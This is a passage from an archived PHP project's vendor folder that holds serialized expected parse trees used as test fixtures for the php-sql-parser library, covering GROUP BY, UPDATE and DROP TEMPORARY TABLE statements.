osition";i:50;}}}PK     \Uձ    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue55a.serializednu [        a:1:{s:5:"GROUP";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;}i:1;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}s:8:"sub_tree";b:0;}i:2;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:7:"table.c";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:5:"table";i:1;s:1:"c";}}s:8:"sub_tree";b:0;}}}PK     \ؐ  ؐ  H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue11.serializednu [        a:3:{s:6:"UPDATE";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:4:"club";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"club";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:4:"club";s:8:"sub_tree";b:0;}}s:3:"SET";a:1:{i:0;a:3:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:18007:"logo='000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"logo";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"logo";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:18002:"'000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'";s:8:"sub_tree";b:0;}}}}s:5:"WHERE";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;}}}PK     \9    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue74f.serializednu [        a:1:{s:4:"DROP";a:4:{s:9:"expr_type";s:15:"temporary-table";s:6:"option";s:7:"CASCADE";s:9:"if-exists";b:1;s:8:"sub_tree";a:6:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"TEMPORARY";s:8:"position";i:5;}i:1;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";s:8:"position";i:15;}i:2;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:2:"IF";s:8:"position";i:21;}i:3;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"EXISTS";s:8:"position";i:24;}i:4;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:12:"blah1, blah2";s:8:"sub_tree";a:2:{i:0;a:7:{s:9:"expr_type";s:15:"temporary-table";s:5:"table";s:5:"blah1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"blah1";}}s:5:"alias";b:0;s:9:"base_expr";s:5:"blah1";s:5:"delim";s:1:",";s:8:"position";i:31;}i:1;a:7:{s:9:"expr_type";s:15:"temporary-table";s:5:"table";s:5:"blah2";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"blah2";}}s:5:"alias";b:0;s:9:"base_expr";s:5:"blah2";s:5:"delim";b:0;s:8:"position";i:38;}}s:8:"position";i:31;}i:5;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"CASCADE";s:8:"position";i:44;}}}}PK     \